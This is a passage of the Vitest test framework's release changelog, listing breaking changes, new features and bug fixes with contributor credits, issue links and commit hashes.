-   **coverage**: Always exclude test files  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7254](https://redirect.github.com/vitest-dev/vitest/issues/7254) [<samp>(b5268)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b5268965)
-   **deps**: Update fake-timers to v14.0.0  -  by [@&#8203;xxzefgh](https://redirect.github.com/xxzefgh) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7097](https://redirect.github.com/vitest-dev/vitest/issues/7097) [<samp>(c98b4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c98b4b1c)
-   **expect**: Check more properties for error equality  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/5876](https://redirect.github.com/vitest-dev/vitest/issues/5876) [<samp>(10023)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/100230e9)
-   **runner**: Support `describe(..., { shuffle: boolean })` and inherit from parent suite  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6670](https://redirect.github.com/vitest-dev/vitest/issues/6670) [<samp>(aa1da)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aa1dac3d)
-   **snapshot**: Reset snapshot state for `retry` and `repeats`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6817](https://redirect.github.com/vitest-dev/vitest/issues/6817) [<samp>(e8ce9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e8ce94cf)
-   **spy**: SpyOn reuses mock if method is already spyed on  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6464](https://redirect.github.com/vitest-dev/vitest/issues/6464) [<samp>(b3e43)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b3e43d04)
-   **vitest**: Don't expose default toFake config  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6288](https://redirect.github.com/vitest-dev/vitest/issues/6288) [<samp>(e3144)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e3144fd8)

#####    🚀 Features

-   Support inline `diff` options and support `printBasicPrototype`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa), [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and **Michał Grzegorzewski** in [https://github.com/vitest-dev/vitest/issues/6740](https://redirect.github.com/vitest-dev/vitest/issues/6740) [<samp>(39186)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/391860f7)
-   Allow a custom note when calling `ctx.skip()` dynamically  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6805](https://redirect.github.com/vitest-dev/vitest/issues/6805) [<samp>(697c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/697c35c5)
-   Allow inline workspace configuration  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6923](https://redirect.github.com/vitest-dev/vitest/issues/6923) [<samp>(562e1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/562e1b14)
-   Provide the current project to the global setup  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6942](https://redirect.github.com/vitest-dev/vitest/issues/6942) [<samp>(a5bbc)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a5bbc0a9)
-   Print project name as a label  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6925](https://redirect.github.com/vitest-dev/vitest/issues/6925) [<samp>(a3bef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3bef598)
-   Print a deprecation warning if suite or test uses object as the third argument  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7031](https://redirect.github.com/vitest-dev/vitest/issues/7031) [<samp>(407f1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/407f10e4)
-   Expose versions from `vitest/node` entry point and statically on Vitest  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7029](https://redirect.github.com/vitest-dev/vitest/issues/7029) [<samp>(be8d4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be8d479b)
-   `diff.printBasicPrototype: false` by default  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7043](https://redirect.github.com/vitest-dev/vitest/issues/7043) [<samp>(2b5c5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2b5c5201)
-   Prepare the Vitest API to be stable  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6962](https://redirect.github.com/vitest-dev/vitest/issues/6962) [<samp>(9a1b5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9a1b5012)
-   Support Vite v6 in mocker package  -  by [@&#8203;cexbrayat](https://redirect.github.com/cexbrayat) in [https://github.com/vitest-dev/vitest/issues/7058](https://redirect.github.com/vitest-dev/vitest/issues/7058) [<samp>(96f47)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/96f47d37)
-   Allow multi-browser configuration  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6975](https://redirect.github.com/vitest-dev/vitest/issues/6975) [<samp>(78b62)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/78b62ffe)
-   Add resolved project names to the reporter API  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7213](https://redirect.github.com/vitest-dev/vitest/issues/7213) [<samp>(91758)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/91758360)
-   Introduce the new reporter API  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7069](https://redirect.github.com/vitest-dev/vitest/issues/7069) [<samp>(76662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/766624ab)
-   Add `describe.for`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7253](https://redirect.github.com/vitest-dev/vitest/issues/7253) [<samp>(0ad28)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0ad2860b)
-   **api**:
    -   Add onBrowserInit event  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7255](https://redirect.github.com/vitest-dev/vitest/issues/7255) [<samp>(80ce0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80ce0e1c)
-   **browser**:
    -   Support `actionTimeout` as playwright provider options  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6984](https://redirect.github.com/vitest-dev/vitest/issues/6984) [<samp>(e2c29)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e2c29eaf)
    -   Support clipboard api `userEvent.copy, cut, paste`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6769](https://redirect.github.com/vitest-dev/vitest/issues/6769) [<samp>(843a6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/843a621e)
    -   Implement locator.nth()  -  by [@&#8203;xeger](https://redirect.github.com/xeger) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7137](https://redirect.github.com/vitest-dev/vitest/issues/7137) [<samp>(38458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/38458ea6)
-   **cli**:
    -   Support excluding projects with `--project=!pattern`  -  by [@&#8203;haines](https://redirect.github.com/haines) in [https://github.com/vitest-dev/vitest/issues/6924](https://redirect.github.com/vitest-dev/vitest/issues/6924) [<samp>(ebfe9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ebfe942c)
    -   Support specifying a line number when filtering tests  -  by [@&#8203;mzhubail](https://redirect.github.com/mzhubail) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6411](https://redirect.github.com/vitest-dev/vitest/issues/6411) [<samp>(4d94b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4d94b956)
    -   Support location filters for suites  -  by [@&#8203;mzhubail](https://redirect.github.com/mzhubail) in [https://github.com/vitest-dev/vitest/issues/7048](https://redirect.github.com/vitest-dev/vitest/issues/7048) [<samp>(751e2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/751e2dce)
-   **coverage**:
    -   `thresholds` to support maximum uncovered items  -  by [@&#8203;jonahkagan](https://redirect.github.com/jonahkagan) in [https://github.com/vitest-dev/vitest/issues/7061](https://redirect.github.com/vitest-dev/vitest/issues/7061) [<samp>(bde98)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bde98b6d)
-   **expect**:
    -   Add `toHaveBeenCalledExactlyOnceWith` expect matcher  -  by [@&#8203;jacoberdman2147](https://redirect.github.com/jacoberdman2147) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6894](https://redirect.github.com/vitest-dev/vitest/issues/6894) [<samp>(ff662)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ff66206a)
    -   Add `toHaveBeenCalledAfter` and `toHaveBeenCalledBefore` utility  -  by [@&#8203;Barbapapazes](https://redirect.github.com/Barbapapazes) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6056](https://redirect.github.com/vitest-dev/vitest/issues/6056) [<samp>(85e6f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85e6f99f)
    -   Add `toSatisfy` asymmetric matcher  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7022](https://redirect.github.com/vitest-dev/vitest/issues/7022) [<samp>(f691a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f691ad76)
    -   Add `toBeOneOf` matcher  -  by [@&#8203;zirkelc](https://redirect.github.com/zirkelc) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6974](https://redirect.github.com/vitest-dev/vitest/issues/6974) [<samp>(3d742)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3d742b2b)
-   **reporter**:
    -   Add support for function type to classname option in the junit reporter  -  by [@&#8203;jpleclerc](https://redirect.github.com/jpleclerc), **Jean-Philippe Leclerc** and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6839](https://redirect.github.com/vitest-dev/vitest/issues/6839) [<samp>(dc238)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/dc238e92)
-   **reporters**:
    -   `summary` option for `verbose` and `default` reporters  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6893](https://redirect.github.com/vitest-dev/vitest/issues/6893) [<samp>(511b7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/511b73c7)
-   **runner**:
    -   Test context can inject values from the config's `provide`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6813](https://redirect.github.com/vitest-dev/vitest/issues/6813) [<samp>(85c64)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/85c64e35)
    -   Add "queued" state  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6931](https://redirect.github.com/vitest-dev/vitest/issues/6931) [<samp>(5f8d2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5f8d2091)
-   **snapshot**:
    -   Provide `config` to `resolveSnapshotPath`  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6800](https://redirect.github.com/vitest-dev/vitest/issues/6800) [<samp>(746d8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/746d8986)
-   **ui**:
    -   Allow run individual tests/suites from the UI  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/6641](https://redirect.github.com/vitest-dev/vitest/issues/6641) [<samp>(d9cc8)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d9cc81dd)
    -   Make clicking on a test in the UI open the report section and scroll to the test failure if applicable  -  by [@&#8203;jacoberdman2147](https://redirect.github.com/jacoberdman2147) in [https://github.com/vitest-dev/vitest/issues/6900](https://redirect.github.com/vitest-dev/vitest/issues/6900) [<samp>(1bf27)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1bf27f0d)
    -   Allow hide/show node_modules in module graph tab  -  by [@&#8203;userquin](https://redirect.github.com/userquin) in [https://github.com/vitest-dev/vitest/issues/7217](https://redirect.github.com/vitest-dev/vitest/issues/7217) [<samp>(50cf6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/50cf61b8)
-   **vitest**:
    -   Include `coverageMap` in json report  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6606](https://redirect.github.com/vitest-dev/vitest/issues/6606) [<samp>(9c8f7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9c8f7e3e)
    -   Add `onTestsRerun` method to global setup context  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6803](https://redirect.github.com/vitest-dev/vitest/issues/6803) [<samp>(e26e0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e26e066c)

#####    🐞 Bug Fixes

-   Misc fix for vite 6 ecosystem ci  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6867](https://redirect.github.com/vitest-dev/vitest/issues/6867) [<samp>(80f8b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80f8bbf4)
-   Respect `cacheDir` when optimizer is enabled  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6910](https://redirect.github.com/vitest-dev/vitest/issues/6910) [<samp>(0b08b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/0b08bc11)
-   Reset runningPromise after `finally` in case there is an error to avoid it getting stuck  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6951](https://redirect.github.com/vitest-dev/vitest/issues/6951) [<samp>(02194)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/021944cd)
-   Revert support for Vite 6  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(fbe5c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fbe5c39d)
-   Support Node 21  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad)
-   Don't use `Custom` type internally  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7032](https://redirect.github.com/vitest-dev/vitest/issues/7032) [<samp>(7957f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/7957f912)
-   Persist cli filters as watch mode file filter  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6955](https://redirect.github.com/vitest-dev/vitest/issues/6955) [<samp>(cc703)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cc703362)
-   Don't use dim color for succeeded tests  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7059](https://redirect.github.com/vitest-dev/vitest/issues/7059) [<samp>(8a6f5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8a6f5f16)
-   Fix missing chai types  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7149](https://redirect.github.com/vitest-dev/vitest/issues/7149) [<samp>(6a09c)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6a09cc3b)
-   `cancelCurrentRun` awaits `runningPromise`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7168](https://redirect.github.com/vitest-dev/vitest/issues/7168) [<samp>(1dbf5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1dbf5140)
-   Add Locator typings for nth, first and last.  -  by [@&#8203;xeger](https://redirect.github.com/xeger) in [https://github.com/vitest-dev/vitest/issues/7176](https://redirect.github.com/vitest-dev/vitest/issues/7176) [<samp>(d262e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d262e059)
-   Batch console logs by microtask  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7183](https://redirect.github.com/vitest-dev/vitest/issues/7183) [<samp>(53d1d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/53d1d5f5)
-   Allow `getMockImplementation` to return "once" implementation  -  by [@&#8203;chaptergy](https://redirect.github.com/chaptergy) in [https://github.com/vitest-dev/vitest/issues/7033](https://redirect.github.com/vitest-dev/vitest/issues/7033) [<samp>(39125)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3912554b)
-   `capturePrintError` logger duplicate event handlers  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7197](https://redirect.github.com/vitest-dev/vitest/issues/7197) [<samp>(e89c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e89c3693)
-   Allow slots in vitest-browser-vue  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7120](https://redirect.github.com/vitest-dev/vitest/issues/7120) [<samp>(2319f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2319f849)
-   Reset root workspace project on restart  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7238](https://redirect.github.com/vitest-dev/vitest/issues/7238) [<samp>(6e518)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6e51843a)
-   Cleanup `vitest/reporters` entrypoint  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7241](https://redirect.github.com/vitest-dev/vitest/issues/7241) [<samp>(aec0b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/aec0b530)
-   Colors on `forks` pool  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7090](https://redirect.github.com/vitest-dev/vitest/issues/7090) [<samp>(8cab9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cab9601)
-   Export `VitestRunner` type from `vitest/runners`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7240](https://redirect.github.com/vitest-dev/vitest/issues/7240) [<samp>(9b218)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9b218854)
-   Return test fn result to runner  -  by [@&#8203;wmertens](https://redirect.github.com/wmertens) in [https://github.com/vitest-dev/vitest/issues/7239](https://redirect.github.com/vitest-dev/vitest/issues/7239) [<samp>(48645)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/48645bf4)
-   Re-apply default conditions if using vite 6 or later  -  by [@&#8203;thebanjomatic](https://redirect.github.com/thebanjomatic), **thebanjomatic** and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7071](https://redirect.github.com/vitest-dev/vitest/issues/7071) [<samp>(84287)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/84287fc2)
-   Prevent infinite loop on prettyDOM calls  -  by [@&#8203;tsirlucas](https://redirect.github.com/tsirlucas) in [https://github.com/vitest-dev/vitest/issues/7250](https://redirect.github.com/vitest-dev/vitest/issues/7250) [<samp>(a3a46)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a3a46a53)
-   **api**:
    -   Don't report events during `vitest list`  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7257](https://redirect.github.com/vitest-dev/vitest/issues/7257) [<samp>(1c2b2)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1c2b210d)
-   **benchmark**:
    -   Disable type testing while benchmarking  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7068](https://redirect.github.com/vitest-dev/vitest/issues/7068) [<samp>(4e603)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/4e60333d)
    -   Rewrite reporter without `log-update`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7019](https://redirect.github.com/vitest-dev/vitest/issues/7019) [<samp>(6d23f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6d23f4b1)
-   **browser**:
    -   Improve source maps when `vi.mock` is present  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6810](https://redirect.github.com/vitest-dev/vitest/issues/6810) [<samp>(8d179)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8d179afc)
    -   Explain TypeScript support in docs and add asymmetric matchers to types  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/6934](https://redirect.github.com/vitest-dev/vitest/issues/6934) [<samp>(ac1a7)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ac1a7fdc)
    -   Fix matchers.d.ts  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6995](https://redirect.github.com/vitest-dev/vitest/issues/6995) [<samp>(a485b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a485b32b)
    -   Fix user event state on preview provider  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7041](https://redirect.github.com/vitest-dev/vitest/issues/7041) [<samp>(8e944)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8e94427e)
    -   Fix provider options types  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7115](https://redirect.github.com/vitest-dev/vitest/issues/7115) [<samp>(579bd)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/579bda97)
    -   Only use locator.element on last expect.element attempt  -  by [@&#8203;tsirlucas](https://redirect.github.com/tsirlucas) in [https://github.com/vitest-dev/vitest/issues/7139](https://redirect.github.com/vitest-dev/vitest/issues/7139) and [https://github.com/vitest-dev/vitest/issues/7152](https://redirect.github.com/vitest-dev/vitest/issues/7152) [<samp>(847d3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/847d3221)
    -   Use correct project when filtering `entries` in the browser mode  -  by [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/7167](https://redirect.github.com/vitest-dev/vitest/issues/7167) [<samp>(423d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/423d6345)
    -   Fix `console.time` with fake timers  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7207](https://redirect.github.com/vitest-dev/vitest/issues/7207) [<samp>(903f3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/903f3b9b)
    -   Add instance validation to resolve coverage error  -  by [@&#8203;DevJoaoLopes](https://redirect.github.com/DevJoaoLopes) and [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7231](https://redirect.github.com/vitest-dev/vitest/issues/7231) [<samp>(1e791)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1e7915b5)
-   **coverage**:
    -   Exclude browser mode iframe results  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6905](https://redirect.github.com/vitest-dev/vitest/issues/6905) [<samp>(e04a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e04a1368)
    -   Correct coverage when `isolate: false` is used  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6957](https://redirect.github.com/vitest-dev/vitest/issues/6957) [<samp>(426ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/426ce6d8)
    -   Prevent crash when v8 incorrectly merges static_initializer's  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7150](https://redirect.github.com/vitest-dev/vitest/issues/7150) [<samp>(cb6db)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/cb6db13e)
-   **deps**:
    -   Update all non-major dependencies  -  in [https://github.com/vitest-dev/vitest/issues/7085](https://redirect.github.com/vitest-dev/vitest/issues/7085) [<samp>(8cc92)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8cc92c2f)
    -   Update all non-major dependencies  -  in [https://github.com/vitest-dev/vitest/issues/7116](https://redirect.github.com/vitest-dev/vitest/issues/7116) [<samp>(de5ce)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/de5ce3d9)
    -   Update dependency pathe to v2  -  in [https://github.com/vitest-dev/vitest/issues/7181](https://redirect.github.com/vitest-dev/vitest/issues/7181) [<samp>(74dbe)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/74dbe03f)
-   **diff**:
    -   Truncate to avoid crash on diff large objects  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7133](https://redirect.github.com/vitest-dev/vitest/issues/7133) [<samp>(2a9d6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2a9d67a2)
-   **junit**:
    -   Fix testsuites time to be sum of all testsuite items  -  by [@&#8203;saitonakamura](https://redirect.github.com/saitonakamura) in [https://github.com/vitest-dev/vitest/issues/6985](https://redirect.github.com/vitest-dev/vitest/issues/6985) [<samp>(ca37a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/ca37a06a)
-   **pretty-format**:
    -   Support react 19  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/6909](https://redirect.github.com/vitest-dev/vitest/issues/6909) [<samp>(bd29b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bd29bcc7)
-   **reporters**:
    -   Write buffered stdout/stderr on process exit  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6932](https://redirect.github.com/vitest-dev/vitest/issues/6932) [<samp>(80cde)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/80cde2a0)
    -   Rewrite `dot` reporter without `log-update`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6943](https://redirect.github.com/vitest-dev/vitest/issues/6943) [<samp>(be969)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/be969cfb)
    -   Check `--hideSkippedTests` in base reporter  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/6988](https://redirect.github.com/vitest-dev/vitest/issues/6988) [<samp>(721a5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/721a5b84)
    -   Show `retry` and `repeats` counts  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) and [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7004](https://redirect.github.com/vitest-dev/vitest/issues/7004) [<samp>(3496a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3496a015)
-   **runner**:
    -   Long synchronous tasks does not time out  -  by [@&#8203;ferdodo](https://redirect.github.com/ferdodo) and [@&#8203;sheremet-va](https://redirect.github.com/sheremet-va) in [https://github.com/vitest-dev/vitest/issues/2920](https://redirect.github.com/vitest-dev/vitest/issues/2920) and [https://github.com/vitest-dev/vitest/issues/6944](https://redirect.github.com/vitest-dev/vitest/issues/6944) [<samp>(2fb58)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/2fb585ae)
    -   Mark tests of `describe.todo` as `'todo'`  -  by [@&#8203;AriPerkkio](https://redirect.github.com/AriPerkkio) in [https://github.com/vitest-dev/vitest/issues/7171](https://redirect.github.com/vitest-dev/vitest/issues/7171) [<samp>(1d458)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1d458955)
-   **snapshot**:
    -   Fix "obsolete" message on snapshot update re-run  -  by [@&#8203;hi-ogawa](https://redirect.github.com/hi-ogawa) in [https://github.com/vitest-dev/vitest/issues/7129](https://redirect.github.com/vitest-dev/vitest/issues/7129) [<samp>(c2beb)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c2beb8ca)
